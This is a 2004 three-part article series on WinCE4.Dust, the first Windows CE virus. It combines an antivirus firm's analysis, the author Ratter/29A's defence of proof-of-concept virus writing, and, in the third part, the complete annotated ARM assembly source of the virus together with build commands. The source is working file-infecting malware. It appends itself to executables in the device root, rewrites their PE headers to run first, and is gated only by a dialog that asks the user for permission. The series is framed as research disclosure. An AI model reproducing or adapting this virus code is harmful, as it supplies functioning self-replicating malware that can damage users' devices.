Cyrus Peikari, Seth Fogie, Ratter
InformIT
September 2004
This three-part series by Cyrus Peikari, Seth Fogie, and Ratter/29A discusses the development of viruses for the Windows Mobile platform. Part 1 describes the first, WinCE4.Dust.
One of Microsoft's most important initiatives is the Windows Mobile platform. Windows Mobile is powered by Windows CE, which is a stable, efficient, truly multitasking operating system offering nothing less than a full, miniaturized version of Windows 2000. In short, it's a masterpiece. Unfortunately, Windows CE was designed without security. In addition, virus writers have created the first virus for Windows CE, known as WinCE4.Dust, as proof of concept.
WinCE4.Dust is the first known Windows CE virus to run on ARM-based devices running Windows Mobile Pocket PC. It was released to all major antivirus companies on July 16, 2004 by its author, Ratter, of the virus-writing group known as 29a (the hex equivalent of the number 666). This is a live, working proof-of-concept virus that infects all .exe files in the root directory of the Pocket PC device.
WinCE4.Dust does no serious or permanent damage to the infected device, with the exception of infecting .exe files in the root directory. Infected files will run the viral code on execution and will then continue to operate as normal.
Several safety features are built into the virus to help prevent it from spreading in the wild. First, when executed, the virus asks the user if it's allowed to spread. Only if the user grants permission will it infect other files. Second, the virus infects only .exe files located in the root directory of the Pocket PC device. All other .exe files on the PDA are safe from infection.
When a user executes the file, she will be shown a dialog box (see Figure 1).
Figure 1. Screen shot of WinCE4.Dust.
At this point, the virus will systematically infect all non-infected .exe files located in the root directory of the PDA. It's careful to skip currently executing files and won't re-infect previously infected files.
At approximately 4:45 p.m. EST on July 16, 2004, Airscanner Corporation, along with other antivirus companies, received email from a previously unknown individual named Ratter/29A. Attached to the email, along with a brief explanation, was a file named Dust.zip. When extracted, this file contained three executable files:
PocketIRC.exe and TRE.exe were samples of infected executables; wince_dust.exe was a sample of the virus code only (that is, the parent virus). Apparently, this virus was released to antivirus companies as proof of concept and was created to demonstrate that a virus could be written for the Pocket PC environment.
WinCE4.Dust is an example of a classic virus, but it has overcome technical obstacles to become the first virus to infect Windows CE. It infects only existing .exe files already located in the root directory of the PDA. The virus doesn't spread via networking function or operate as a memory-resident process. Due to its method of self-replication (recursively appending itself to every file in the directory), and how it spreads (requiring an initial user action to spread), WinCE4.Dust meets all the criteria for a computer virus.
This is a low-risk virus. It was created with the sole intent of serving as a proof-of-concept program to demonstrate the possibility of viral activity on the Windows CE platform. In fact, hidden in the binary, the author gives this humorous message, "This is proof of concept code. Also, [I] wanted to make avers [antivirus researchers] happy. The situation when Pocket PC antiviruses detect only EICAR file [a harmless, standardized test file] had to end..."
The risk is low because the virus requires a user to permit it to spread to other files. In addition, the infection process targets only files located in the root directory of the PDA, which limits the number of potentially infected programs.
When executed, the virus only scans for and infects other non-infected .exe files in the root folder. It skips any file that has already been infected (marked within the file by the tag line ATAR.) It doesn't damage the PDA or any other file on the device. Therefore, WinCE4.Dust is not a serious threat to infected PDAs. It's remarkable in that it demonstrates the first working method by which a virus can infect files on a Windows Mobile device.
If an infected file is viewed with a hex editor, the following messages appear near the end of the file:
This code arose from the dust of Permutation City This is proof of concept code. Also, i wanted to make avers happy. The situation when Pocket PC antiviruses detect only EICAR file had to end ...
When the virus is executed, either via an infected executable or via wince_dust.exe, it creates a list of coredll.dll functions in memory, which are then used for function calls during the rest of the virus' execution. Once this list is placed in memory, the virus displays the message shown in Figure 2.
Figure 2. WinCE4.Dust asking user permission to spread.
If the user selects No, a condition flag is set in the process that forces the virus code to calculate the infected program's real start address, which is then executed.
If the user selects Yes, the virus sets aside some space in memory and then locates the first .exe file in the root directory. If this function returns a filename, it checks whether the file is greater than 4,096 bytes; if so, it starts the infection routine.
First the virus checks to be sure that the file is writeable, which would not be the case if the file is currently in use. Then it passes through several checks to verify that the file is a true .exe, and to make sure that it wasn't already infected. If the file has been infected, it will be marked with the word ATAR at the offset 0x11C. Without this check, the virus would keep re-infecting files over and over until the device ran out of memory. If the target .exe passes the checks, the viral code is appended to the target file, which increases the file size by 1,536 bytes. Finally, the PE header is altered to point the processor to the newly appended virus code when the infected file is executed and to write in the ATAR tag.
Once the virus code has determined that there are no more uninfected .exe files, it calculates the correct starting address for the executing file and redirects the process to this point. The infected program then operates as normal.
Immediately after publishing an initial analysis of the virus, as well as the first known antivirus signature data file to detect it, Airscanner Corporation was flooded with requests from large companies that wanted a copy of the virus binary and source code. For example, people from organizations as diverse as the U.S. military, Motorola, and many others wanted full disclosure of the details. However, all Airscanner had was the binary and the results of the blind reverse-engineering described above.
Thus, we decided to write to the proof-of-concept author, whom we had never met or talked with before. After communicating with him, we found that he appeared to be a legitimate security researcher. He stated that he only wrote proof-of-concept code, and that he always put safeguards into his binaries to keep them from spreading in the wild. He also strictly refrained from spreading programs in the wild, rather sending samples only to well-recognized antivirus firms. Thus, we asked him if he would give us a more detailed analysis of this new class of virus. By understanding the unique nature of this malware, security researchers will hopefully be able to develop better protections.
For many years, some in the antivirus industry have attempted to keep proof-of-concept code as well as important methods of defense within a closed priesthood of self-proclaimed "experts." However, we believe in responsible full disclosure. That is, malicious virus writers in the computer underground already know these techniques. The only ones that are hurt by secrecy are legitimate companies and researchers.
For this reason, it's important to get the knowledge to legitimate researchers who need it, since malicious writers already have the information. For example, as far back as 2001, Prentice Hall recognized this need and published annotated source code samples from the Melissa virus in Windows Internet Security. These days, the concept of "security through obscurity" is discredited.
Before moving on to the detailed analysis of the virus in part 2 of this series, there's a moral issue to consider. Some people will insist that proof-of-concept virus authors, as well as full-disclosure security researchers, are immoral. This is a viewpoint that we won't be able to change in one paragraph. However, we prefer to judge people by their actions, rather than their deeds. For example, we have heard executives of antivirus companies state that they would never hire a programmer who attended a college (such as the University of Calgary) that taught students virus-writing in order to hone their defensive skills. Yet some antivirus company executives will say this in one breath, while committing securities fraud and lying to stockholders in the next. We hope you will judge people by their actions, rather than by hearsay.
In part II we hear from Ratter, the author of the first proof-of-concept virus for Windows Mobile. He begins by tracing the history of how he came into virus research.
On July 16, 2004, after a day spent finishing writing my new virus, I (Ratter) sent a copy of the bug to the leading antivirus (AV) firms for analysis. Within a few hours I began to receive their first emails and finished analyses. The next day, the AV firms launched their PR machine; that was the start of the media hype that in essence is still ongoing. Sometimes the AV firms' information is fairly accurate, but sometimes it's incorrect. It could be said that the more we virus code researchers are distanced from the source (in this case, the AV firms), the more the information is misinterpreted and confused. That was one of the main reasons why I decided to accept the offer from security writers Cyrus Peikari and Seth Fogie to write a little story about why and how I created this proof-of-concept virus.
What led me to the idea of writing a Pocket PC virus? What is 29A? Is virus writing legal or at least justifiable? I'll try to answer these questions, even though it will reflect my own opinion, with which some individuals might disagree.
Since the MS-DOS days, I've always wanted to know how things work inside -- mainly how the operating system works. Therefore, when I received a copy of my first computer virus book, it was the starting point for all three members of 29A; it was like a miracle to me. The book explained procedures of advanced DOS viruses that dug around the entire operating system. Thanks to viruses, I've learned everything I know about the MS-DOS operating system. Later, when I started to examine the Win32 platform, it seemed a logical result to write a virus in order to hone my knowledge. In my opinion, there's nothing like studying viruses to learn the target system. For similar reasons, I enjoyed writing the NT rootkit and exploring the art of reverse engineering.
29A is an international group connected by a common interest in computer security, especially in self-replicating code. To many who don't know us, we represent criminals who only want to destroy. Under the 29A name, several technically capable people have released programs that, if not interesting, are at least different from "mainstream production" viruses. You won't meet most of our code in the wild -- not because we wouldn't be able to write a virus that would propagate; in fact, almost any programmer can to do it these days -- but because our purpose is to release proof-of-concept in order to point out security vulnerabilities that can be fixed.
Unlike many of the stereotypes about us, we don't want to destroy data, waste institutions' time, or con them out of money (and the published damage figures caused by many worms are questionable at best). We just want to show that not much has changed since MS-DOS. Computer systems are still vulnerable, and vendors are still unenlightened. Maybe they're comfortable with this state (together with AV firms), but that's just speculation.
Our viruses are very often designed so that it would be impossible for them to spread in the wild without altering their structure: For example, they're limited to infecting one file per run, or they ask the user before even trying to reproduce.
I often hear the opinion that by releasing source code of our viruses and worms in our magazine that implement new ideas and techniques, we indirectly cause destruction, because these techniques are then used in worms in the wild. (For example, 29A has written the first macro virus and the first real Win32 virus, and we worked out polymorphism and metamorphism, as well as the first Win64 virus and the first worm for Symbian that was able to spread via Bluetooth.) However, if you accept this opinion, then you're also pointing the finger at people who seek exploitable bugs in software and who release proof-of-concept exploits; you must believe that these researchers are also criminals. Behind almost all mass-spreading worms (if we omit worms that use social engineering methods) stands a bug in the software that was first discovered, then publicly described, and later exploited. Are you calling full-disclosure researchers criminals?
The answer is clear: Security through obscurity was overcome a long time ago, and that's why 29A and most of the serious virus-writing programmers release their code in magazines. But first, of course, we let AV firms know about these viruses, so they can adapt and prepare new cures. If the few of us who practice virus-writing as a hobby are able to attack almost every main platform, what would professional attackers or terrorists be able to do? It's better to know vulnerabilities in advance in order to prepare your defenses.
A lot of people think that I create viruses because I hate Microsoft or what it symbolizes. That's incorrect. I've used Microsoft's products for many years now, and I'm satisfied with them. When I bought my new desktop PC, I paid extra money for Windows XP without hesitation; and when I decided to buy a PDA, I chose one with a Microsoft operating system. Those who have had close contact with Microsoft research will understand when I say that Microsoft employs the world's leading experts, and a priori those experts cannot do a bad job. Nevertheless, even though the inner design of this firm's products are flawless, the outer implementations mostly aren't. And Windows CE is no exception.
Immediately after playing with my new Pocket PC toy for the first time, I realized that I wanted to learn to create programs for it. And because I like programming on a very low level, I first had to learn the ARM assembly language, because at the heart of my PDA was an Intel XSCALE processor that implements ARM standard instructions.
There was an inevitable few months of delay both because of school and because of other non-virus-related coding. However, after the end of summer term, the holidays came up. Adequate free time is the basic prerequisite to making new programs, and that's why I decided then to start the Pocket PC project. On the Net, I found several ARM assembly guides and official ARM documentation, and in just a few days I thought I was prepared for coding in it. The only programs that are written completely in assembly language these days are computer viruses, so I let one arise....
In part 3 of this series, Ratter describes in detail the first proof-of-concept virus for Windows CE, WinCE4.Dust.
In this article I'll try to explain how I, Ratter, proceeded while creating Dust, the first Pocket PC virus, including which techniques and utilities I used. I'll also include annotated source code. Following the description, I'll cover which problems I faced when moving from Win32 to WinCE, and present my theories about future directions in Pocket PC viruses.
NOTE
To completely understand the source code in this article, you'll need to know at least the basics of ARM instructions; start with Seth Fogie's article "Embedded Reverse Engineering: Cracking Mobile Binaries" (PDF). At the end of that document, advanced ARM topics are also explained. In addition, a basic knowledge of the portable executable format will help. You can download the utilities that you'll need to convert the source code to its executable form.
First, we'll cut everything between these two labels:
** virus_source ** ** virus_source_end **
Then we'll paste that code to a new file called wince_dust.asm. For compiling, we'll use armasm (the Microsoft macro assembler for ARM) and the WinCE-aware version of Microsoft link. Both these utilities can be found here and we'll use them as follows:
armasm wince_dust.asm link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE wince_dust.obj
After these steps, the executable file wince_dust.exe is created, which can be transferred to the PDA and tested. The virus infects all suitable PE .exe files in the root directory (My device) of the device. Before the infection itself, the virus asks for permission (see Figure 1).
Figure 1. WinCE4.Dust asking user permission to spread.
With its capabilities, Dust is reminiscent of basic Win32 viruses from the pioneering days. In the future, we'll surely meet other Win32 techniques, such as entry point obscuring (EPO), PE file merging, polymorphic prologs, metamorphism, and more. These are beyond the scope of this article; if you're interested, take a look at the 29A Labs web site and the VX Heavens site.
Further, more specific WinCE techniques can be expected, such as memory residency; and, with that, connected on-the-fly infection, stealth, sending SMS and dialing numbers (on SmartPhones), and so on.
While programming WinCE4.Dust, I used time-tested techniques from the Win32 world. When infecting, the PE file is altered in the following way: The last section size is increased by the virus code size, and the virus body is copied at the end of the last section. Then the new EntryPoint is set; in other words, the pointer is set to the first instruction to execute when the program is loaded. This way, it's guaranteed that the virus will be run.
Because Dust doesn't use the host's import section, it has to somehow obtain the needed API function addresses. This was the biggest problem to overcome, and finding the solution took some time. As soon as we have the function addresses, we use them to alter the victim's files found on the memory medium. Finding files to infect provides the standard function pair FindFirstFile and FindNextFile. Together with CreateFile, they differ from their Win32 counterparts, which appeared to be another minor problem.
Every file gets mapped into memory, where later needed modifications are made. Windows CE introduced a new function, CreateFileForMapping, that has no equivalent on Win32. Without calling this function, there's no way to get the file handle that could be used to create the mapping object. On the other hand, the advantage of the ARM ISA appeared -- the automatic generation of position-independent code. On Win32 x86, you had to determine its actual memory position and use this value later to modify absolute variable addresses (if the host's relocations were not altered, of course).
The virus source code includes deeper comments of given problems and techniques. Please take the time to carefully read through the comments of this source code, in which I explain the Windows CE .NET security weakness that allowed me to create the first successful virus for this platform.
** virus_source **
CODE32
EXPORT WinMainCRTStartup
AREA .text, CODE, ARM
virus_start
; r11 - base pointer
virus_code_start PROC
stmdb sp!, {r0 - r12, lr, pc}
mov r11, sp
sub sp, sp, #56 ; make space on the stack
; our stack space gets filled the following way
; #-56 - udiv
; #-52 - malloc
; #-48 - free
; [r11, #-44] - CreateFileForMappingW
; #-40 - CloseHandle
; #-36 - CreateFileMappingW
; #-32 - MapViewOfFile
; #-28 - UnmapViewOfFile
; #-24 - FindFirstFileW
; #-20 - FindNextFileW
; #-16 - FindClose
; #-12 - MessageBoxW
; #- 8 - filehandle
; #- 4 - mapping handle
bl get_export_section
; we'll import via ordinals, not function names, because it's
; safe - even linker does that
adr r2, import_ordinals
mov r3, sp
bl lookup_imports
;
bl ask_user
beq jmp_to_host ; are we allowed to spread?
;
mov r0, #0x23, 28
mov lr, pc
ldr pc, [r11, #-52] ; allocate WFD
mov r4, r0
cmp r0, #0
beq jmp_to_host
; in the following code I use functions FindFirstFile/FindNextFile
; for finding *.exe files in the current directory. But in this
; case I made a big mistake. I didn't realize that WinCE is not
; aware of the current directory and thus we need to use absolute
; pathnames. That's why this code won't find files in the current
; directory, but rather always in root directory. I found this out when I
; was performing final tests, but because the aim was to create a
; proof-of-concept code and because the infection itself was already
; limited by the user's permission, I decided not to correct this
; bug
adr r0, mask
mov r1, r4
mov lr, pc
ldr pc, [r11, #-24] ; find first file
cmn r0, #1
beq free_wfd
mov r5, r0
find_files_iterate
ldr r0, [r4, #28] ; filesize high
ldr r1, [r4, #32] ; filesize low
cmp r0, #0 ; file too big?
bne find_next_file
cmp r1, #0x1000 ; file smaller than 4096 bytes?
addgt r0, r4, #40 ; gimme file name
blgt infect_file
find_next_file
mov r0, r5
mov r1, r4
mov lr, pc
ldr pc, [r11, #-20] ; find next file
cmp r0, #0 ; is there any left?
bne find_files_iterate
mov r0, r5
mov lr, pc
ldr pc, [r11, #-16]
free_wfd
mov r0, r4
mov lr, pc
ldr pc, [r11, #-48] ; free WFD
;
jmp_to_host
adr r0, host_ep
ldr r1, [r0] ; get host_entry
ldr r2, [r11, #56] ; get pc
add r1, r1, r2 ; add displacement
str r1, [r11, #56] ; store it back
mov sp, r11
ldmia sp!, {r0 - r12, lr, pc}
ENDP
; we're looking for *.exe files
mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
; host entry point displacement
; in first generation let compiler count it
host_ep
DCD host_entry - virus_code_start - 8
; WinCE is a UNICODE-only platform and thus we'll use the W ending
; for api names (there are no ANSI versions of these)
import_ordinals
DCW 2008 ; udiv
DCW 1041 ; malloc
DCW 1018 ; free
DCW 1167 ; CreateFileForMappingW
DCW 553 ; CloseHandle
DCW 548 ; CreateFileMappingW
DCW 549 ; MapViewOfFile
DCW 550 ; UnmapViewOfFile
DCW 167 ; FindFirstFileW
DCW 181 ; FindNextFile
DCW 180 ; FindClose
DCW 858 ; MessageBoxW
DCD 0x0
; basic wide string compare
wstrcmp PROC
wstrcmp_iterate
ldrh r2, [r0], #2
ldrh r3, [r1], #2
cmp r2, #0
cmpeq r3, #0
moveq pc, lr
cmp r2, r3
beq wstrcmp_iterate
mov pc, lr
ENDP
; on theWin32 platform, almost all important functions were located in the
; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
; was). The first infectors had a hardcoded imagebase of this dll and
; later they imported needed functions by hand from it. This
; turned out to be incompatible because different Windows versions might
; have different imagebases for kernel32. That's why more or less
; sophisticated methods were found that allowed coding in a
; compatible way. One of these methods is scanning memory for known values
; located in PE file header ("MZ") if the address inside the module is
; given. Because the function inside kernel32 calls the EntryPoint of
; every Win32 process, we've got this address. Then comparing the word
; on and aligned address (and decrementing it) against known values is
; enough to locate the imagebase. If this routine is even covered
; with SEH (Structured Exception Handling) everything is safe.
; I wanted to use this method on WinCE too, but I hit the wall.
; Probably to save memory space, there are no headers
; before the first section of the loaded module. There is thus no
; "MZ" value and scanning cannot be used even we have the address
; inside coredll.dll (lr registr on our entrypoint). Moreover, we
; cannot use SEH either, because SEH handlers get installed with
; the help of a special directory (the exception directory) in the PE file and
; some data before the function starts - this information would have
; to be added while infecting the victim (the exception directory
; would have to be altered) which is of course not impossible -- just
; a little bit impractical to implement in our basic virus.
; That's why I was forced to use a different approach. I looked
; through the Windows CE 3.0 source code (shared source,
; downloadable from Microsoft) and tried to find out how the loader
; performs its task. The Loader needs the pointer to the module's export
; section and its imagebase to be able to import from it. The result was a
; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
; chose to open this loophole, I don't know)
; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
; list of Module structures. There we can find all needed values
; (name of the module, imagebase and export section RVA). In the
; code that follows I go through this one-way list and look for
; structure describing the coredll.dll module. From this structure I
; get the imagebase and export section RVA (Relative Virtual Address).
; what sounds relatively easy was in the end more work than I
; expected. The problem was to get the offsets in the Module
; structure. The source code and corresponding headers I had were for
; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
; where the structure is different. I worked it out using the following
; sequence:
; I was able to get the imagebase offset using the trial-and-error
; method - I used the debugger and tried values inside the
; structure that looked like valid pointers. If there was something
; interesting, I did some memory sniffing to realize where I was.
; The export section pointer was more difficult. There is no real
; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
; pointer. That's why I found coredll.dll in memory - namely the
; list of function names in export section that the library exports.
; This list is just a series of ASCIIZ names (you can see this list
; when opening the dll in your favourite hex editor). At the
; beginning of this list there must be a dll name (in this case
; coredll.dll) to which a RVA in the export section header
; points. Substracting the imagebase from the address where the dll
; name starts gave me an RVA of the dll name. I did a simple byte
; search for the byte sequence that together made this RVA value. This
; showed me where the (Export Directory Table).Name Rva is.
; Because this is a known offset within a known structure (which is
; in the beginning of export section), I was able to get
; the export section pointer this way. I again substracted the imagebase to
; get the export section RVA. I looked up this value in the coredll's
; Module structure, which finally gave me the export section RVA
; offset.
; this works on Pocket PC 2003; it works on
; my wince 4.20.0 (build 13252).
; On different versions the structure offsets might be different :-/
; output:
; r0 - coredll base addr
; r1 - export section addr
get_export_section PROC
stmdb sp!, {r4 - r9, lr}
ldr r4, =0xffffc800 ; KDataStruct
ldr r5, =0x324 ; aInfo[KINX_MODULES]
add r5, r4, r5
ldr r5, [r5]
; r5 now points to first module
mov r6, r5
mov r7, #0
iterate
ldr r0, [r6, #8] ; get dll name
adr r1, coredll
bl wstrcmp ; compare with coredll.dll
ldreq r7, [r6, #0x7c] ; get dll base
ldreq r8, [r6, #0x8c] ; get export section rva
add r9, r7, r8
beq got_coredllbase ; is it what we're looking for?
ldr r6, [r6, #4]
cmp r6, #0
cmpne r6, r5
bne iterate ; nope, go on
got_coredllbase
mov r0, r7
add r1, r8, r7 ; yep, we've got imagebase
; and export section pointer
ldmia sp!, {r4 - r9, pc}
ENDP
coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports PROC
stmdb sp!, {r4 - r6, lr}
ldr r4, [r1, #0x10] ; gimme ordinal base
ldr r5, [r1, #0x1c] ; gimme Export Address Table
add r5, r5, r0
lookup_imports_iterate
ldrh r6, [r2], #2 ; gimme ordinal
cmp r6, #0 ; last value?
subne r6, r6, r4 ; substract ordinal base
ldrne r6, [r5, r6, LSL #2] ; gimme export RVA
addne r6, r6, r0 ; add imagebase
strne r6, [r3], #4 ; store function address
bne lookup_imports_iterate
ldmia sp!, {r4 - r6, pc}
ENDP
; r0 - filename
; r1 - filesize
infect_file PROC
stmdb sp!, {r0, r1, r4, r5, lr}
mov r4, r1
mov r8, r0
bl open_file ; first open the file for mapping
cmn r0, #1
beq infect_file_end
str r0, [r11, #-8] ; store the handle
mov r0, r4 ; now create the mapping with
; maximum size == filesize
bl create_mapping
cmp r0, #0
beq infect_file_end_close_file
str r0, [r11, #-4] ; store the handle
mov r0, r4
bl map_file ; map the whole file
cmp r0, #0
beq infect_file_end_close_mapping
mov r5, r0
bl check_header ; is it file that we can infect?
bne infect_file_end_unmap_view
ldr r0, [r2, #0x4c] ; check the reserved field in
; optional header against
ldr r1, =0x72617461 ; rata
cmp r0, r1 ; already infected?
beq infect_file_end_unmap_view
ldr r1, [r2, #0x3c] ; gimme filealignment
adr r0, virus_start
adr r2, virus_end ; compute virus size
sub r0, r2, r0
mov r7, r0 ; r7 now holds virus_size
add r0, r0, r4
bl _align_ ; add it to filesize and
mov r6, r0 ; align it to filealignment
; r6 holds the new filesize
mov r0, r5
mov lr, pc
ldr pc, [r11, #-28] ; UnmapViewOfFile
ldr r0, [r11, #-4]
mov lr, pc
ldr pc, [r11, #-40] ; close mapping handle
;
mov r0, r8
bl open_file ; reopen the file because via
; closing the mapping handle file
; handle was closed too
cmn r0, #1
beq infect_file_end
str r0, [r11, #-8]
mov r0, r6 ; create mapping again with the
bl create_mapping ; new filesize (with virus appended)
cmp r0, #0
beq infect_file_end_close_file
str r0, [r11, #-4]
mov r0, r6
bl map_file ; map it
cmp r0, #0
beq infect_file_end_close_mapping
mov r5, r0
;
; r5 - mapping base
; r7 - virus_size
ldr r4, [r5, #0x3c] ; get PE signature offset
add r4, r4, r5 ; add the base
ldrh r1, [r4, #6] ; get NumberOfSections
sub r1, r1, #1 ; we want the last section header
; so dec
mov r2, #0x28 ; multiply with section header size
mul r0, r1, r2
add r0, r0, r4 ; add optional header start to displacement
add r0, r0, #0x78 ; add optional header size
ldr r1, [r4, #0x74] ; get number of data directories
mov r1, r1, LSL #3 ; multiply with sizeof(data_directory)
add r0, r0, r1 ; add it because section headers
; start after the optional header
; (including data directories)
ldr r6, [r4, #0x28] ; gimme entrypoint rva
ldr r1, [r0, #0x10] ; get last section's size of rawdata
ldr r2, [r0, #0x14] ; and pointer to rawdata
mov r3, r1
add r1, r1, r2 ; compute pointer to the first
; byte available for us in the
; last section
; (pointer to rawdata + sizeof rawdata)
mov r9, r1 ; r9 now holds the pointer
ldr r8, [r0, #0xc] ; get RVA of section start
add r3, r3, r8 ; add sizeof rawdata
str r3, [r4, #0x28] ; set entrypoint
sub r6, r6, r3 ; now compute the displacement so that
; we can later jump back to the host
sub r6, r6, #8 ; sub 8 because pc points to
; fetched instruction (viz LTORG)
mov r10, r0
ldr r0, [r10, #0x10] ; get size of raw data again
add r0, r0, r7 ; add virus size
ldr r1, [r4, #0x3c]
bl _align_ ; and align
str r0, [r10, #0x10] ; store new size of rawdata
str r0, [r10, #0x8] ; store new virtual size
ldr r1, [r10, #0xc] ; get virtual address of last section
add r0, r0, r1 ; add size so get whole image size
str r0, [r4, #0x50] ; and store it
ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
; IMAGE_SCN_MEM_READ
ldr r1, [r10, #0x24] ; get old section flags
orr r0, r1, r0 ; or it with our needed ones
str r0, [r10, #0x24] ; store new flags
ldr r0, =0x72617461
str r0, [r4, #0x4c] ; store our infection mark
add r1, r9, r5 ; now we'll copy virus body
mov r9, r1 ; to space prepared in last section
adr r0, virus_start
mov r2, r7
bl simple_memcpy
adr r0, host_ep ; compute number of bytes between
; virus start and host ep
adr r1, virus_start
sub r0, r0, r1 ; because we'll store new host_ep
str r6, [r0, r9] ; in the copied virus body
infect_file_end_unmap_view
mov r0, r5
mov lr, pc ; unmap the view
ldr pc, [r11, #-28]
infect_file_end_close_mapping
ldr r0, [r11, #-4]
mov lr, pc ; close the mapping
ldr pc, [r11, #-40]
infect_file_end_close_file
ldr r0, [r11, #-8]
mov lr, pc ; close file handle
ldr pc, [r11, #-40]
infect_file_end
ldmia sp!, {r0, r1, r4, r5, pc} ; and return
ENDP
; a little reminiscence of my beloved book - Greg Egan's Permutation City
DCB "This code arose from the dust of Permutation City"
ALIGN 4
; this function checks whether the file we want to infect is
; suitable
check_header PROC
ldrh r0, [r5]
ldr r1, =0x5a4d ; MZ?
cmp r0, r1
bne infect_file_end_close_mapping
ldr r2, [r5, #0x3c]
add r2, r2, r5
ldrh r0, [r2]
ldr r1, =0x4550 ; Signature == PE?
cmp r0, r1
bne check_header_end
ldrh r0, [r2, #4]
ldr r1, =0x1c0 ; Machine == ARM?
cmp r0, r1
bne check_header_end
ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
cmp r0, #9
bne check_header_end
ldrh r0, [r2, #0x40]
cmp r0, #4 ; windows ce 4?
check_header_end
mov pc, lr
ENDP
; r0 - file
open_file PROC
str lr, [sp, #-4]!
sub sp, sp, #0xc
mov r1, #3
str r1, [sp] ; OPEN_EXISTING
mov r3, #0
mov r2, #0
str r3, [sp, #8]
str r3, [sp, #4]
mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE
mov lr, pc
ldr pc, [r11, #-44] ; call CreateFileForMappingW to
; get the handle suitable for
; CreateFileMapping API
; (on Win32 calling CreateFile is enough)
add sp, sp, #0xc
ldr pc, [sp], #4
ENDP
; r0 - max size low
create_mapping PROC
str lr, [sp, #-4]!
mov r1, #0
sub sp, sp, #8
str r0, [sp]
str r1, [sp, #4]
mov r2, #4 ; PAGE_READWRITE
mov r3, #0
ldr r0, [r11, #-8]
mov lr, pc
ldr pc, [r11, #-36]
add sp, sp, #8
ldr pc, [sp], #4
ENDP
; r0 - bytes to map
map_file PROC
str lr, [sp, #-4]!
sub sp, sp, #4
str r0, [sp]
ldr r0, [r11, #-4]
mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE
mov r2, #0
mov r3, #0
mov lr, pc
ldr pc, [r11, #-32]
add sp, sp, #4
ldr pc, [sp], #4
ENDP
; not optimized (thus simple) mem copy
; r0 - src
; r1 - dst
; r2 - how much
simple_memcpy PROC
ldr r3, [r0], #4
str r3, [r1], #4
subs r2, r2, #4
bne simple_memcpy
mov pc, lr
ENDP
; (r1 - (r1 % r0)) + r0
; r0 - number to align
; r1 - align to what
_align_ PROC
stmdb sp!, {r4, r5, lr}
mov r4, r0
mov r5, r1
mov r0, r1
mov r1, r4
; ARM ISA doesn't have the div instruction so we'll have to call
; the coredll's div implementation
mov lr, pc
ldr pc, [r11, #-56] ; udiv
sub r1, r5, r1
add r0, r4, r1
ldmia sp!, {r4, r5, pc}
ENDP
; this function will ask user (via a MessageBox) whether we're
; allowed to spread or not
ask_user PROC
str lr, [sp, #-4]!
mov r0, #0
adr r1, text
adr r2, caption
mov r3, #4
mov lr, pc
ldr pc, [r11, #-12]
cmp r0, #7
ldr pc, [sp], #4
ENDP
; notice that the strings are encoded in UNICODE
; WinCE4.Dust by Ratter/29A
caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
DCB "A", 0x0, 0x0, 0x0
ALIGN 4
; Dear User, am I allowed to spread?
text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
ALIGN 4
; Just a little greeting to AV firms :-)
DCB "This is proof of concept code. Also, i wanted to make avers happy."
DCB "The situation when Pocket PC antiviruses detect only EICAR file had"
DCB " to end ..."
ALIGN 4
; LTORG is a very important pseudo instruction, which places the
; literal pool "at" the place of its presence. Because the ARM
; instruction length is hardcoded to 32 bits, it is not possible in
; one instruction to load the whole 32bit range into a register (there
; have to be bits to specify the opcode). That's why the literal
; pool was introduced, which in fact is just an array of 32bit values
; that are not possible to load. This data structure is later
; accessed with the aid of the PC (program counter) register that points
; to the currently executed instruction + 8 (+ 8 because ARM processors
; implement a 3 phase pipeline: execute, decode, fetch and the PC
; points not at the instruction being executed but at the instruction being
; fetched). An offset is added to PC so that the final pointer
; points to the right value in the literal pool.
; the pseudo instruction ldr rX, =<value> while compiling gets
; transformed to a mov instruction (if the value is in the range of
; valid values) or it allocates its place in the literal pool and becomes a
; ldr, rX, [pc, #<offset>]
; similarly adr and adrl instructions serve to loading addresses
; to register.
; this approach's advantage is that with minimal effort we can get
; position independent code from the compiler which allows our
; code to run wherever in the address space the loader will load us.
LTORG
virus_end
; the code after virus_end doesn't get copied to victims
WinMainCRTStartup PROC
b virus_code_start
ENDP
; first generation entry point
host_entry
mvn r0, #0
mov pc, lr
END
** virus_source_end **
Summary of differences when moving from Win32 to WinCE (from the virus writer's point of view):
